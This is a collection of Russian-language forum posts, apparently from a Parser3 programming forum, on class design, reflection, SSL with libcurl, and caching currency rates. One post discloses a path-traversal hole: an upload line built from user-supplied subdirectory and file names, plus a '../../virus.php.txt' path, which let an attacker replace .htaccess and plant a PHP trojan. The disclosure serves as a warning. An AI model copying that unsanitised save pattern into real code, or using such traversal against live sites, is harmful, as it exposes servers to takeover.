Но(!) чтобы при этом эти переменные и методы были доступны другим методам внутри этого объекта.\
\
Абстрактный пример:\
[code]\
@CLASS\
myclass\
\
@OPTIONS\
# гипотетический режим, при котором например всё, что через $self.var\
# открытая переменная/поле, остальные видны всем методам объекта, \
# но неснаружи через обращение к объекту. \
# Если при этом нужны строго локальные в рамках метода, \
# то просто добавим отдельно у такого метода @method[][locals]\
class_locals\
hidden_methods\
\
@create[]\
$workdir[system]\
$sysfile[^file::load[sysfile.dat]]\
$self.user[root]\
\
@GET_sysmode[]\
^if($workdir eq 'system' && def $sysfile){\
  $result[admin]\
}{\
  $result[normal]\
}\
\
@change_mode[mode]\
^switch[mode]{\
  ^case[admin]{$workdir[system]   ^_sysquirk[system]  }\
  ^case[normal{$workdir[home/$self.user]   ^_sysquirk[normal]   }\
}\
\
# фишка №2 - гипотетически скрытый метод, к\
# доступный только методам внутри класса, но не обращением из внешнего контекста\
@_sysquirk[mode]\
^if($mode eq 'system'){\
     ^do_something_stricted[$vars]\
}{\
     ^do_else_stricted[$vars2]\
}\
\
\
#--------- MAIN -------------\
\
@main[]\
\
$myobj[^myclass::create[]]\
\
# далее, такое обращение в нашей хотелке либо ничего не вернет, \
# либо ошибку если $STRICT-VARS(true), \
# т.к. она изолирована режимом class_locals\
$myobj.workdir \
\
# таким образом, напрямую записать и что-то испортить/сломать, не зная архитектуру класса - не выйдет\
$myobj.workdir[bootdir]\
\
# однако вы можете попросить у безопасного метода\
$myobj.changemode[admin]\
\
# или можете прочитать безопасное свойство\
$myobj.usermode\
\
# такое обращение к полю, вернёт - root, т.к. она явна \"расшарена\" инициализацией $self.user\
$myobj.user\
\
# этот метод нельзя вызвать напрямую, т.к. он умышленно изолирован через hidden_methods\
^myobj._sysquirk[myvars]\
\
[code]\
\
Ну вот как-то так хотелось бы."
"80394","Абстрактный пример:\
\
[code]\
@CLASS\
myclass\
\
@OPTIONS\
# гипотетический режим, при котором например всё, что через $self.var\
# открытая переменная/поле, остальные видны всем методам объекта,\
# но неснаружи через обращение к объекту.\
# Если при этом нужны строго локальные в рамках метода,\
# то просто добавим отдельно у такого метода @method[][locals]\
class_locals\
hidden_methods\
\
@create[]\
$workdir[system]\
$sysfile[^file::load[sysfile.dat]]\
$self.user[root]\
\
@GET_sysmode[]\
^if($workdir eq 'system' && def $sysfile){\
$result[admin]\
}{\
$result[normal]\
}\
\
@change_mode[mode]\
^switch[mode]{\
^case[admin]{$workdir[system] ^_sysquirk[system] }\
^case[normal{$workdir[home/$self.user] ^_sysquirk[normal] }\
}\
\
# фишка №2 - гипотетически скрытый метод, к\
# доступный только методам внутри класса, но не обращением из внешнего контекста\
@_sysquirk[mode]\
^if($mode eq 'system'){\
^do_something_stricted[$vars]\
}{\
^do_else_stricted[$vars2]\
}\
\
\
#--------- MAIN -------------\
\
@main[]\
\
$myobj[^myclass::create[]]\
\
# далее, такое обращение в нашей хотелке либо ничего не вернет,\
# либо ошибку если $STRICT-VARS(true),\
# т.к. она изолирована режимом class_locals\
$myobj.workdir\
\
# таким образом, напрямую записать и что-то испортить/сломать, не зная архитектуру класса - не выйдет\
$myobj.workdir[bootdir]\
\
# однако вы можете попросить у безопасного метода\
$myobj.changemode[admin]\
\
# или можете прочитать безопасное свойство\
$myobj.usermode\
\
# такое обращение к полю, вернёт - root, т.к. она явна \"расшарена\" инициализацией $self.user\
$myobj.user\
\
# этот метод нельзя вызвать напрямую, т.к. он умышленно изолирован через hidden_methods\
^myobj._sysquirk[myvars]\
\
[/code]"
"80395","Такая схема используется и в других языках, например, в Питоне. Предполагается, что программисты способны самостоятельно придумать соглашения какие имена относить к внешнему интерфейсу, а какие к внутреннему. Обычно для внутренних переменных и методов используют имена, начинающиеся с подчеркивания. Этого более чем достаточно для любых задач.\
\
В языках, где есть модификаторы доступа, так или иначе работает интроспекция и добраться до внтуренностей любого объекта можно в любом случае. Поэтому никакого практического смысла в вашем предложении нет."
"80396","Очень удобная возможность: во-время отладки проекта при необходимости залезать внутрь объекта класса и видеть, что там происходит, совершенно не затрагивая его код. Если же всё совсем внутри него спрятать, то придётся отладчиком залезать в класс, что не очень красиво, как правило."
"80399","Нужен некий цикл, который проходил бы по слову $word[абвгдейка] в любом направлении и делал нечто [b]с каждым[/b] символом.\
\
Ну, например,\
\
[code]<span class=\"^lettercolor[]\">Ы</span>.\
\
@lettercolor[]\
$paint(^math:random(2))\
^if($paint eq 0){red}\
^if($paint eq 0){green}[/code]\
\
Как сделать цикл, который проспанивал бы каждую букву и собирал всё в $word2[]?"
"80400","Только это очень медленно будет — парсер будет рассматривать каждый символ как строку. Лучше всего это сделать в браузере через JS."
"80401","Поэтому, я на манер Питона и \"нарисовал\" названия методов. Нейминг со своими префиксами, вполне подойдет."
"80404","можно еще так, элегантнее, имхо. про скорость не знаю ))\
точнее, ближе к задаче так:\
\
[code]$string[qwerty]\
$i(0)\
$string[^string.match[(.)][g]{<span class='^if($i){red}{green}'>$match.1</span>$i($i!|1)}]\
$string\
[/code]"
"80405","вы уверены, что никогда не захотите обращаться с полям напрямую? да? и вы помните про хэши, файлы и другие системные объекты?\
и уверены, что ни одному из используемых вами классов не потребуется прямой доступ к полям?\
и помните, что доступ через геттеры всегда медленнее (внутри как минимум дополнительный call)?\
и хотите ещё большего замедления всего и всегда, т.к. при каждом обращении у переменной надо будет как минимум проверить содержимое предлагаемой системной переменной и возможно ещё и контекст вызова?\
\
что касается меня, то перечисленное выше количество минусов перекрывает возможное количество плюсов. если уж делать, то именно модификаторы доступа к переменным или хотя-бы опцию, которую можно будет задавать определённым классам, а не глобальную опцию."
"80406","Подскажите пожалуйста как мне отсортировать данные в файле cfg.\
А именно файл сорежит данные\
[code]name	text	uri	sign\
Иванов	1 четверть	/link1/	,\
Иванов	2 четверть	/link2/[/code]\
\
В одном месте я вывожу данные по умолчанию (с низу вверх), т.е. сначала идет Иванов - 1 семестр, потом идет Иванов - 2 семестр.\
\
А другом месте сайта мне надо сделать, так чтобы начиналось с Иванова — 2 семестр, а за ним было Иванов — 1 семестр.\
\
Другими словами, как сделать чтобы в данные файла cfg выводились снизу вверх.\
\
Спасибо"
"80410","Сабж.\
Как получить или записать в несуществующее поле объекта ч/з Свойства это ясно.\
\
А есть ли возможность вызвать несуществующий метод?\
\
Попытался методом тыка изобразить нечто возбранное:\
[code]\
@CLASS\
MyClass\
\
@create[]\
\
@GET_DEFAULT[]\
$result{Byaka}\
\
#----\
\
@main[]\
$response:content-type[\
   $.value[text/plain]\
]\
\
$obj[^MyClass::create[]]\
\
^obj.test[]\
\
[/code]\
\
Получил: 500-ую с Internal Server Error и Premature end of script headers: parser3.cgi в /error.log\
\
Интересует чисто из праздного любопытства."
"80411","то, что в фигурных скобках -- это junction-code. его нельзя вызвать с помощью ^имя[]. оно выполняется при любой попытке обращения к нему:\
\
[code]\
$jCode{2+2=^eval(2+2)}\
$jCode ^rem{ вот при выполнении этой строки парсер выполнит содержимое jCode }\
$jCode ^rem{ тут он выполнит его ещё раз }\
$jCode ^rem{ и ещё }\
[/code]\
\
а с помощью ^имя[] вызываются junction-method-ы. для вызова они должны быть определены в каком-нить классе. у случае скрещивания ежа с ужом это может выглядеть так:\
\
[code]\
@main[]\
$obj[^MyClass::create[]]\
\
^obj.test[параметры] ^rem{будет вызван метод myMethod класса myClass}\
\
\
@CLASS\
MyClass\
\
@create[]\
\
@GET_DEFAULT[]\
$result[$myMethod] ^rem{тут мы возвращаем junction-method -- грубо говоря ссылку на метод myMethod текущего класса}\
\
@myMethod[hParams]\
blah-blah-blah\
[/code]\
\
P.S. что касается 500 ошибки -- очевидно, что её быть не должно. баг вижу. исправим. спасибо."
"80414","Друзья, нам тут техподдержка одна написала такое:\
\
На сервере, где стоит ваш сайт, нужно обновить корневые сертификаты. Проблема которая сейчас есть\
Ошибка связана с отключением небезопасных протоколов SSLv2 и SSLv3 в рамках подготовки к сертификации PCI DSS\
Необходимо прописать в документации, что в интеграционных решениях необходимо принудительно определить использование протоколов SSL TLS минимальной версии TLS1.0\
\
Так вот, как парсеру \"принудительно\" сказать использовать TSL 1.0?"
"80415","Единственное место, где в Парсере используется TLS — libcurl. Но, насколько я помню, Кюрл уже давно по-умолчанию использует TLS 1.0 и ничего специально делать не надо.\
\
Если я правильно понял хостера, то они говорят, что перенастроили свои серверы и отключают ssl-протоколы ниже версии TLS 1.0. Если на вашем сайте есть какой-либо API для доступа извне, то вы должны указать в документации на свой API минимальную версию ssl. :)\
\
В Парсере ничего перенастраивать не надо.\
\
p.s. Отключают старые версии протокола из-за уязвимости CVE-2014-3566, названной POODLE (Padding Oracle On Downgraded Legacy Encryption). Обнаружена она месяц назад. Очень жаль, что ваш хостер так долго тянул с перенастройкой серверов."
"80416","Короче, тут ситуация такая.\
У моего программера на хостинге все работает.\
При переносе кода к другому хостеру — выдает ошибку.\
\
Техподдержка компании, у которой мы данные по SSL забираем, написала вот это сообщение нам — про версии SSL.\
Хостер отправляет нас к техподдержке этой компании.\
Программист говорит \"я ниче не знаю, у меня все работает\".\
\
Как этот порочный круг разорвать, я уже не знаю, вот, обратился сюда на форум, но понятнее пока не стало."
"80417","Написали-то как раз обратное, что версии 2.0 и 3.0 не надо использовать, а надо принудительно сказать использовать 1.0.\
\
Но где и чем это делается — у хостера ли, в коде ли парсера — тьма для меня темная."
"80419","Вы ничего не описали про то что, как и по каким протоколам получаете. Не исключено, что хостер закрыл и исходящий трафик по SSL v2 и v3. В этом случае надо проверять какие версии протокола поддерживает curl на вашем хостинге и на сервере провайдера данных. \
\
У нас была сложность при работе с банком Москвы. Мы закрыли у себя небезопасные протоколы, а их программное обеспечение не поддерживало TLS вообще. Поэтому дней пять мы с ними работали в ручном режиме, пока они у себя библиотеку Перловую не обновили. :("
"80425","Здравствуйте!\
Не подскажите, как на parser реализовать самый простой счетчик посещений страницы?"
"80426","... или посмотреть примеры — http://www.parser.ru/examples/counter/. Но лучше Метрику. :)"
"80427","Друзья, у нас тут проблема возникла.\
\
Писали мы тут сайт. На хостинге, где велась разработка, всё работало.\
Конкретно работало следующее: скрипт на парсере, используя curl забирал у партнеров структуру каталога и описание+цены товаров.\
\
Теперь уже пришла пора переносить сайт на хостинг заказчика.\
И тут-то появились проблемы, скрипт пишет SSL connection error и всё тут. Ничего подробнее мы не знаем.\
Программист, который был занят на проекте, сейчас в командировке и у него нет времени решать эту проблему. Я — вообще дизайнер с легким знанием парсера. \
\
\
Есть хостер, который и хотел бы помочь, но в парсере ни хрена не понимает, и где логи какие смотреть не знает. Мы пробовали менять версии библиотеки curl, просили партнеров переключать разные версии протокола, обновляли парсер — не помогает.\
\
Вопрос в том, почему на одном хостинге работает, а на другом нет. \
\
Задача — заставить работать этот скрипт (соединяться и забирать товары, а также отправлять заказы обратно) с помощью любой матери. Мы дадим все доступы везде и заплатим денег удобным вам способом.\
\
Видимо, нужно заставить парсер+курл писать какие-то логи куда-то, разобраться в них, исправить проблему или объяснить хостеру, как ее исправить. Или уже хотя бы сделать вывод, что ни хрена работать не будет.\
\
Напишите мне на hwat@yandex.ru или в скайп kirill.ivansky"
"80428","Привет. Стало нужно вдруг делать ^file:load[] с https'ного сайта. Но как написано в документации, Парсер умеет ходить только на http.\
Один товарищ посоветовал воспользоваться утилиткой [url=\"https://www.stunnel.org/\"]stunnel[/url]. Работает-то она нормально, но оказалось, что сайт, на который мне нужно, хостится на cloudflare, который по-своему реагирует на подобные редиректы (стучится обратно на сервер, с которого был запрос) и в итоге не хочет отдавать инфу с защищенного сайта.\
Может кто-нибудь из вас знает какой-нибудь другой способ?\
В идеале хочется сделать так:\
[code]^file::load[text;[b]https[/b]://btc-e.com/api/3/info][/code]\
\
P.S.:\
Кто хочет попробовать через stunnel и увидеть что происходит, то вот конфиг:\
[code]debug = 7\
output = stunnel.log\
log = overwrite\
socket = l:TCP_NODELAY=1\
socket = r:TCP_NODELAY=1\
engine = capi\
cert = stunnel.pem\
\
; SSL client mode services\
\
[btc-e]\
client = yes\
accept = [b]127.0.0.1:8888[/b]\
connect = btc-e.com:443[/code]\
\
Где [b]127.0.0.1:8888[/b] - ip адрес и порт машинки, на которой запущен stunnel.\
\
Теперь в браузере переходим на http://[b]127.0.0.1:8888[/b]/api/3/info и попадаем на страницу с ошибкой от cloudflare.\
\
Если же, к примеру, вместо btc-e.com в конфиге прописать github.com, то при переходе в браузере по http://127.0.0.1:8888/DmT021/BtceApi мы таки попадем на http://github.com/DmT021/BtceApi. А значит, stunnel работает."
"80431","Просто постучаться к любому другому хосту с ssl?\
Или просто из под теминала через сервер запуская curl?"
"80433","Похоже на то, что парсер не передает настройки\
$.ssl_verifyhost(0)\
$.ssl_cipher_list[TLSv1]"
"80435","Парсер не хочет загружать библиотечку libcurl с поддержкой SSL, но безэсэсэльную грузит.\
Значит надо обеспечить подержку SSL на уровне вебсервера?\
NOSSL библиотека говорит \"Unsupported protocol\", когда я пытаюсь грузить файл по https."
"80436","Если из консоли curl с https работает, то и парсер по-идее должен мочь. И с двумя разными libcurl.so на одном сервере ни разу не сталкивался."
"80437","Там есть разные библиотечки с поддержкой SSL и без нее и еще какие-то..."
"80439","Тогда у нас в поставке parser3_4_3_ru.exe есть libcurl.dll, она точно работает. :) Но в свою очередь зависит от .dll для ssl, которые должны находиться например в той же директории или в директории с парсером."
"80441","Сабж.\
Или лыжи не едут, или скорее второе.\
Задача: через интроспекцию получаю хеш полей/объектов => конкретного объекта\
листая хеш хочу \"пнуть\" произвольное поле/объект в цикле\
на предмет существования у него суб-объекта/суб-поля\
\
[code]\
$Hash[ $.Nested_A[Alice] $.Nested_B[Bob]]\
$Str[MyString]\
\
\
^if(def $Hash.Nested_A){ True }{ False }\
^if(def $Hash.Other){ True }{ False }\
# На этой строчке выпадаю в Unhandled Exeption: string method not found\
^if(def $Str.Some){ True }{ False }\
[/code]\
\
Как бы с одной стороны понятно, что я прошу \"суб-поле\" объекта класса string который таковых не имеет,\
и вообще ссылается что такого \"$метода\" у него нет.\
\
А с другой стороны, я делаю интроспекцию объекта и получаю пачку его суб-объектов\
и хотел бы знать наличие у них определенного поля def-ом\
\
детектить по классу совсем не хочется, т.к. не только hash но и произвольный пользовательский класс\
может иметь суб-поле, стало быть перебирать и сопоставлять сначала\
\
$object.CLASS_NAME и только потом попробовать сделать def... как то очень нерадостно\
\
другой вариант, прогонять потом отдельно каждое поле объекта \
через ^reflection:fields[$subobject]\
чтобы уже там в именах отыскать существование или не_существование поля/объекта.\
\
Массовый перебор кучи только чтобы понять что объекта/поля/перменной нет...\
\
Как это сделать красивее, и можно ли?"
"80442","думаю, что простого варианта на все случаи жизни не существует.\
первое, что приходит в голову:\
[code]\
@def[object;field][h]\
$h[^hash::create[$object]]\
$result(def $h.$field)\
[/code]\
\
но это не будет работать, если вы в пользовательском классе используете @GET[type] и не будете возвращать хэш с полями объекта при type=hash.\
\
ну и наконец (а может с этого надо было начать?):\
[code]\
@def[object;field]\
^try{\
	$result($object.$field)\
}{\
	$exception.handled(true)\
	$result(false)\
}\
[/code]"
"80443","Здравствуйте. \
Обнаружил, что ^объект.save[../name.ext] будет успешно сохранен уровнем выше текущего каталога. \
Например, путь /my/files/../../virus.php.txt сохранится в корне и может быть успешно выполнен. \
\
У меня на сайте запускался скрипт, который делал\
^file.save[/my/files/$form:subdir/$file.name], сохраняя пользовательские файлы. В /my/ лежал .htaccess который запрещал исполнение чего бы то ни было, а также allowOverride none - я наивно полагал, что это не даст ни закачать файл куда-то еще, ни закачать управляющий .htaccess.\
\
В общем, я лоханулся. Скорее всего, описанным образом был заменен .htaccess  верхнего уровня, в потом закачан php-троян. \
Надеюсь, вам будет полезен мой опыт."
"80444","У нас исторически например классы и шаблоны лежат вне веб-пространства, поэтому каждый cgi/auto.p содержит такие строки:\
\
$DATA_DIR[/../data]\
$TEMP_DIR[/../temp]\
$CACHE_DIR[$TEMP_DIR/cache]\
\
И вероятно поэтому возможность выхода за / ни у кого вопросов не вызывает. Возможно это следует более четко прописать в документации. И возможно с точки \
taint можно сделать больше, чем сейчас:\
\
\"file-spec - символы * ? \" < > | преобразуются в _XX, где XX - код символа в шестнадцатеричной форме \"\
\
Но там есть тонкости, поскольку file-spec преобразование кажется делается обязательно, не только для того, что передано пользователем.\
\
С другой стороны, возможность пользователю передать путь и имя файла - не лучшая идея. Даже без хакеров могут возникнуть проблемы например с кириллицей. Поэтому мы у себя делаем что-то типа ^math:md5[^file:justname[$file.name]].<расширение из разрешенного списка> (^math:md5[$form:subdir] для директории)."
"80448","Сабж.\
Хочу программно получить строку \"Object1\" \
[code]\
$Object1[Test]\
\
# класс и куча всего через ^reflection: - есть\
$Object1.CLASS_NAME\
\
# Просится что-то типа\
$Object1.NAME\
# или\
^reflection:name[$Object1]\
# ^reflection:uid же есть...\
[/code]"
"80449","Ссылаться на эту область может сколько угодно переменных. Поэтому у объекта есть уникальный идентификатор (указатель в памяти, где объект расположен физически) но нет и не может быть одного имени.\
\
На следующий вопрос, который вы сразу зададите, ответ тоже нет. Бегать по всем ссылкам на объект и искать в каких объектах они находятся крайне неэффективно."
"80454","Имя переменной никак с объектом не связано. При передаче параметра, метод получает ссылку на объект. Имя этой переменной внутри метода определяется его сигнатурой. Так что гипотетический метод в классе reflection ничего не будет знать про то как переменная названа в вызывающем коде. Я уже не говорю про вложенные вызовы методов. :)\
\
Про имя переменной забудьте раз и навсегда. Есть только классы, объекты, функции и указатели. Никаких других сущностей в языке нет."
"80455","Я согласен, что\
 a) У объекта может не быть \"имени\"\
 b) Более одного \"имени\" ссылается на одно место в памяти, т.к. является указателем.\
\
 Но я сами \"имена\" все равно есть - указатели (или объекты-указатели не знаю как это внутри парсера реализовано)\
 но тем не менее, пусть не через reflection, но через встроенный оператор\
 я хочу попробовать получить имя указателя в виде строки.\
\
 По типу Питоновского var.__name__"
"80456","Т.е. я понимаю, что внутри класса и его методов, я не получу имя объекта.\
\
Но просто в плоскости одного контекста я могу извлечь как-то строку имени переменной или объекта?\
\
Переменная/имя_объекта - это именованый указатель на область памяти, так?\
Их может быть сколь угодно на одну область - это ясно.\
\
Дайте мне имя этого именованного указателя. \
\
[code]\
$var(10)\
\
#что-то типа\
$var.__name__ \
#или\
^var.string[]\
\
[/code]"
"80458","У объекта есть два фундаментальных атрибута: класс и указатель на объект. Этого достаточно, чтобы производить любые операции с объектом. Никакого имени у объекта нет и быть не может.\
\
Получить оба фундаментальных атрибута в Парсере можно. Указатель - это reflection:uid (это некторое уникальное число, которое однозначно идентифицирует объект), класс - это поля CLASS и CLASS_NAME. Var.__name__ в Питоне соответствует var.CLASS_NAME в Парсере."
"80459","Потому что он эти имена явно написал. В вашем примере это именно так и есть."
"80461","[code]\
$Obj1[^MyClass1::create[]]\
\
#может я хочу передать имя указателя как параметр, чтобы потом\
сделать какой-то process с этим\
^quirk_process[^Obj1.namestring[]]\
\
[/code]"
"80463","Класс MAIN - это особая ситуация. Фактически это не класс, а средство доступа к корневому пространству имен Парсера. У него свои правила для построения списка методов, встроенное перекрытие методов, его нельзя инстанцироваться, от него нельзя наследоваться. Так что сравнивать его с обычным классом некорректно. \
\
Можно ли сымитировать поведение reflection:fields для него я сказать не готов. Подождем, что про это скажут Моко и Миша. Я бы этого не делал - чем меньше в корневом пространстве имен мусора, тем лучше."
"80464","Имя переменной вы знаете точно - вы только что его сами явно написали. Именно так в Парсере делаются замыкания. Смотрите в доке примеры к переменной caller метода."
"80468","Сабж.\
\
[code]\
@CLASS\
MyClass\
\
@BASE\
MyBaseClass\
\
@create[in_var]\
# перебрасываю инициализацию на конструктор базового класса\
^BASE:create[$in_var]\
# или почему-то хочется написать так... хотя и не работает\
$self[^BASE::create[$in_var]]\
\
# может еще как-то принято... в этом суть вопроса\
\
# оставляю за базовым $varA, переопределяю $varB и добавляю $varC\
$varB[Bleed]\
$varC[Carol]\
\
#------\
\
@CLASS\
MyBaseClass\
\
@create[in_var]\
$varA[Alice]\
$varB[Bob]\
\
[/code]\
\
Собственно работает ^BASE:create[] но есть какое-то нехорошее ощущение... развейте сомнения если можно"
"80470","Связь имя -> объект односторонняя. То есть в локальных переменных, каком-нибудь хеше или объекте по ключу X находится указатель на переменную. Поэтому \"статически\" эта задача не решается. Динамически - во время исполнения сохранять под каким именем был получен объект и дать возможность получить это имя из объекта - в принципе можно, но это явно замедлит исполнение кода, и поэтому мы такое делать не будем."
"80471","Спасибо за исчерпывающий ответ. \
Думаю, да, явное указание в документации на ../ - это то, что нужно сделать и на этом ограничиться. \
Приложение же должно само проверять валидность путей."
"80473","Собственно Сабж, \
не знаю как кошерно это сформулировать, \
проще задать вопрос кодом, парсер-нуб в лице меня нынче с bdsm-выдумкой пошёл :)\
\
[code]\
@main[]\
\
$Obj1[\
   ^Class1::create[]\
   $.Par1[String]\
   $.Par2[\
      ^Class2::create[]\
   ]\
# ну или как-то так\
   $.Par3[\
      $Par3[^Class2::create[]]\
   ]\
]\
[/code]"
"80474","З.Ы.\
Предложите свои красивые варианты создания крупных деревьев (каскадов) объектов, прошедшие крещение продакшном.\
\
Сначала пошел нативным путем, но в плане B\
думаю про глобал-хеш из объектов, и синтетическую прозрачную работу с ним через [code]@GET_DEFAULT[/code] у объектов.\
\
Но клуб знатоков заверил, что свойства будут сразу тормознее полей,\
а через хеш-прокладку но без св-в, я видимо красиво не смогу делать:\
[code]\
 $User.Session.Expires\
#или\
 $User.Session.Navigation.Template.Default[old_browser_degradated]\
[/code]"
"80475","Развеить или укрепить, на тему того, что глобальный хеш на уровне \
@main\
\
в котором будет сымитирована структура вложенных объектов,\
не всех, а опр.типа относящихся к непосредственно Модели веб-приложения.\
Проще говоря, я Модель и хочу изобразить в виде одной большой ООП-структуры, включая методы.\
\
И потом хотеть и мочь делать так:\
[code]\
 $Model.User.\
[/code]\
\
С одной стороны, обращаясь со своим глобальным хешем объектов через отдельный Менеджер(интерфейс), я могу как бы гибко открывать только нужные поля/методы объекта, причём динамически. \
\
И сомнения колеблятся между \"А не Overkill или как минимум Overhead\" ли это делать такое,\
а с другой стороны, заигрывая с нативщиной можно внезапно выстрелить себе в ногу."
"80478","У вас же вполне рабочий код, причем там не только $. может быть но и любой необходимый код. Надо только за читабельностью следить. :)\
\
[code]$Obj1[\
   ^Class1::create[]\
   $.Par1[String]\
   $.Par2[\
      ^Class2::create[]\
   ]\
   \
   ^if(condition){\
       $.Par3[String]\
    }{\
       $.Par4[String]\
    }\
][/code]"
"80479","Сабж.\
Скорее всего, по той же причине (односторонее разыменовывание указателя) - подхватить \"родительским\" объектом факт обращения к дочернему я наверное не могу физически, но(!) может есть какой-то трюк или \"особая уличная магия\"?\
\
Допустим, я хочу чтобы при обращении к суб-объекту/суб-полю вызывать какой-то автоматический метод (если он определен)\
и тут же вызывать его в над-объектах (при том объекты могут быть как и того же класса, так и др.классов)\
\
Гипотетический пример:\
[code]\
@CLASS\
Core\
\
@create[]\
$_id[^reflection:uid[$self]]\
\
@GET_AUTO[]\
^MAIN:i.inc[]\
\
#----\
\
@main[]\
\
$i(0)\
\
$Session[^Core::create[]]\
$User[^Core::create[] $.Session[$Session]\
$Model[^Core::create[] $.User[$User]]\
\
$i\
#i=0\
\
$Model._id - $i\
# Результат: 0x30000 - 1\
\
$Model.User._id - $i\
# Вызовется в сл.порядке: ^User.GET_AUTO, ^Model.GET_AUTO\
# Результат: 0x20000 - 3\
\
$Model.User.Session._id - $i\
# Вызовется в сл.порядке: ^Session.GET_AUTO, ^User.GET_AUTO, ^Model.GET_AUTO\
# Результат: 0x10000 - 6\
\
[/code]"
"80480","что вы такое хитрое делаете, что требуются все эти выверты?"
"80482","Пока затрудняюсь ответить, в первую очередь поглубже изучить возможности парсера.\
А во вторую, попутно придумалось оседлать какие-то \"велограбли\" с заманчивой наклейкой \
\"серебряная ООП-пуля с агенто-ориентированным подходом\",\
 \
т.е. все (веб)приложение представленно, как единая каскадная Модель,\
сёрфая(интроспектируя по сути) по которой Менеджером_Модели\
можно читать/писать поля, выполнять методы, т.е. на основе наличия в модели объектов/суб-объектов и методов(функций) можно генерировать интерфейс, немного опираясь на предпочтения явно или неявно указанные в шаблоне.\
\
как-то так, понятнее пока и сам объяснить не могу :) иду в тумане"
"80483","Из текста документации не совсем понял \"когда\" срабатывает @auto\
объявленный как метод в классе.\
\
Т.е. написано что при \"загрузке\". При загрузке с диска? Или вообще при первом его объявлении как класса.\
\
Из доки не явно, но похоже что если создать \"подгружаемый\" класс, который будет использовать базовый (у которого есть auto)\
то этот новый (дочерний) класс auto отрабатывать не будет - у меня не отрабатывает. \
\
А по ощущению вроде как должно...\
\
Пример:\
[code]\
@CLASS\
BaseClass\
\
@create[]\
\
@somedo[]\
\
@auto[]\
^if(def $MAIN:i){\
   ^MAIN.i.inc[]\
}{\
   $MAIN:i(0)\
}\
\
\
\
@CLASS\
ChildClass\
\
@BASE\
BaseClass\
\
#----\
\
@main[]\
\
$i(0)\
\
$obj1[^BaseClass::create[]]\
$obj2[^ChildClass::create[]]\
\
^obj1.somedo[]\
^obj2.somedo[]\
\
i=$i\
# выдаст i=1, т.е. auto отработает только 1 раз? \
\
[/code]"
"80486","да, при создании класса-потомка, метод @auto[] родительских классов не выполняется.\
да, метод @auto[] не наследуется."
"80488","вы хотите странного.\
\
объект знать не знает, \"суб полем\" какого объекта он является (связь, как и в случае со связью имя->значение, односторонняя).\
и являться он может одновременно \"суб полем\" любого объекта (включая самого себя, кстати) и не обязательно одного. т.е. со стороны дочернего объекта вашу задачу решить в принципе не возможно.\
\
а со стороны родительского -- запросто. у вас для этого есть инструмент в виде свойств. пускайте обращения к таким сущностям через свойства и делайте что угодно."
"80489","как не ожидал, когда ровно про такое Костя тебе [url=/forum/?id=80383]уже отвечал[/url]?"
"80491","Пока что задача вести объекты в разной валюте не возникала, но в связи с нестабильностью, начали появляться акционные объекты с фиксированной стоимостью в рублях, до этого все объекты были в $.\
Добавить к объекту дополнительное поле в какой валюте введена цена не проблема, проблема произвести поиск по таким объектам.\
Вижу только один вариант, это добавить расчетное поле, которое будет обновлять фоном при обновлении курса валют и уже по нему производить поиск.\
Или же есть другие варианты завязанные на хитростях с работой с БД?"
"80492","От цены в основной валюте.\
Курс от Центрабанка известен на следующий день в 15 часов текущего, если я правильно помню.\
\
Основная валюта общая для всех, или та, в которой клиент указывал цену в объявлении.\
\
Разные цены можно и не хранить, но придётся вычислять пороги для поиска только по основной валюте."
"80493","Рефлексия не очень удобный инструмент для подобного.\
\
Проще жёстко задать, что, к примеру, все поля лежат в $self.fields, сделать пару методов по их добавлению-удалению, если хочется — через свойства.\
\
Далее, задать ряд общих методов для класса каждого поля (у них общий родительский класс, а значит и общий интерфейс), скажем, @printViewHTML — вывод поля в виде HTML, @printEditHTML — вывод HTML для формы, и так далее.\
Зачем знать внутреннюю кухню каждого класса, если все они поддерживают единый интерфейс.\
\
Если какой-то из классов должен иметь свой специализированный интерфейс, придумайте способ его декларации, пусть все доступные методы лежат в каком-нибудь $self.methods.\
\
Загляните в [url=http://code.volchkov.net/parser3-pf/src/e9f5a624744e34be5e6868393b9bca154975a021/sql/orm/?at=pf]ORM PF[/url]'а, мне кажется, это пример того, что вы делаете."
"80494","Только недавно приобщились к ЦБР и не совсем в курсе как это происходит ).\
Пошел гуглить время изменения, спасибо."
"80495","Но доллар и евро — раз в сутки, за исключением выходных.\
\
Мы для нескольких ресурсов брали в 15 часов.\
http://www.parser.ru/docs/lang/xdocload.htm"
"80496","Этим и пользуюсь уже, только потом в JSON через шаблон загоняю и храню на диске\
http://www.utilities-online.info/xsltransformation/?save=7fc50022-008e-4298-93bd-af05c4bb0470-xsltransformation"
"80498","За 100% правильность не ручаюсь, но вроде как такой код работает:\
\
[code]@getBankXML[]\
\
$result[]\
$expired(false)\
$cacheFile[/../data/cache/currency-rates.xml]\
\
^try{\
        $result[^xdoc::create[^file::load[text;$cacheFile]]]\
}{\
        $exception.handled(1)\
}\
\
^if(def $result){\
        $now[^date::now[]]\
        $nowDate[${now.year}-^now.month.format[%02d]-^now.day.format[%02d]]\
\
        $rateDate[^result.documentElement.selectString[string(@Date)]]\
        $rateDate[^rateDate.mid(6;4)-^rateDate.mid(3;2)-^rateDate.mid(0;2)]\
\
#       we load rates only once per day, so we check cache mdate as\
#       rates are not updated on weekends and vacations.\
        ^if($nowDate gt $rateDate){\
                $cacheStat[^file::stat[$cacheFile]]\
                $cache[$cacheStat.mdate]\
                $cacheDate[${cache.year}-^cache.month.format[%02d]-^cache.day.format[%02d]]\
                $expired($cacheDate ne $nowDate)\
        }\
}\
\
^if(!def $result || $expired){\
        ^try{\
                $file[^file::load[text;http://www.cbr.ru/scripts/XML_daily.asp]]\
                $result[^xdoc::create[$file]]\
                ^file.save[text;$cacheFile]\
        }{\
                $exception.handled(1)\
        }\
}\
\
^if(!def $result){\
        ^throw[;Unable to load currency rates]\
}\
[/code]"
"80499","Тогда сможете исправлять опечатки в сообщениях."
"80505","Поэтому, через рефлексию я пошёл только как черновая проба сделать максимально нативно. Изначально сразу думал просто построить отдельный хеш, как синтетическую структуру объектов, с ним можно пошустрее и погибче обойтись, но боюсь, что вдруг наступлю на грабли, того, что нативно вложенные объекты имеют реальный контекст исполнения, а синтетически разложенные по хешу объекты могут доставить неприятностей.\
\
В простом очертании мне нужна такая структура Модели:\
[code]\
 ObjName <ClassName>\
   Nested: true\
   Objs:\
     ObjName <ClassName>\
        Nested: true\
        Objs:\
        ...\
        Funcs:\
        ...\
   Funcs:\
     fFunc1\
         in: <- декларация типа входных данных objs <classname>\
        out: <- выходных соответственно  obj <classname>\
     fFunc2\
        ...\
\
# Умозрительный пример:\
\
 Session1 <CoreModel>\
   _AppPreamble: <hash>\
        Title: WebGoods <string>\
